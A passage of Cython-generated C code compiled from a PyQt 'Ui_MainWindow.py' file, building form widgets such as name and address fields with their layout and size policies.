__Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__85, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":140 * self.R_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_firstname.setText("") * self.R_firstname.setObjectName("R_firstname") # <<<<<<<<<<<<<< * self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.R_firstname) * self.label_13 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__86, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":141 * self.R_firstname.setText("") * self.R_firstname.setObjectName("R_firstname") * self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.R_firstname) # <<<<<<<<<<<<<< * self.label_13 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_13.setObjectName("label_13") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_1, __pyx_t_4, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_1, __pyx_t_4, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_int_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_8, __pyx_t_9); __pyx_t_4 = 0; __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":142 * self.R_firstname.setObjectName("R_firstname") * self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.R_firstname) * self.label_13 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_13.setObjectName("label_13") * self.formLayout.setWidget(2, QtWidgets.QFormLayout.LabelRole, self.label_13) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_9) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_13, __pyx_t_3) < 0) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":143 * self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.R_firstname) * self.label_13 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_13.setObjectName("label_13") # <<<<<<<<<<<<<< * self.formLayout.setWidget(2, QtWidgets.QFormLayout.LabelRole, self.label_13) * self.R_address = QtWidgets.QTextEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_13); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__87, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":144 * self.label_13 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_13.setObjectName("label_13") * self.formLayout.setWidget(2, QtWidgets.QFormLayout.LabelRole, self.label_13) # <<<<<<<<<<<<<< * self.R_address = QtWidgets.QTextEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_13); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_9, __pyx_int_2, __pyx_t_6, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_9, __pyx_int_2, __pyx_t_6, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_9) { __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; } __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_2); __pyx_t_6 = 0; __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":145 * self.label_13.setObjectName("label_13") * self.formLayout.setWidget(2, QtWidgets.QFormLayout.LabelRole, self.label_13) * self.R_address = QtWidgets.QTextEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QTextEdit); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_address, __pyx_t_3) < 0) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":146 * self.formLayout.setWidget(2, QtWidgets.QFormLayout.LabelRole, self.label_13) * self.R_address = QtWidgets.QTextEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) # <<<<<<<<<<<<<< * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_1, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_1, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_t_4); __pyx_t_1 = 0; __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_sizePolicy = __pyx_t_3; __pyx_t_3 = 0; /* "Ui_MainWindow.py":147 * self.R_address = QtWidgets.QTextEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_address.sizePolicy().hasHeightForWidth()) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHorizontalStretch); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__88, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":148 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.R_address.sizePolicy().hasHeightForWidth()) * self.R_address.setSizePolicy(sizePolicy) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setVerticalStretch); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__89, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":149 * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_address.sizePolicy().hasHeightForWidth()) # <<<<<<<<<<<<<< * self.R_address.setSizePolicy(sizePolicy) * self.R_address.setMinimumSize(QtCore.QSize(420, 40)) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHeightForWidth); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_sizePolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_1) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 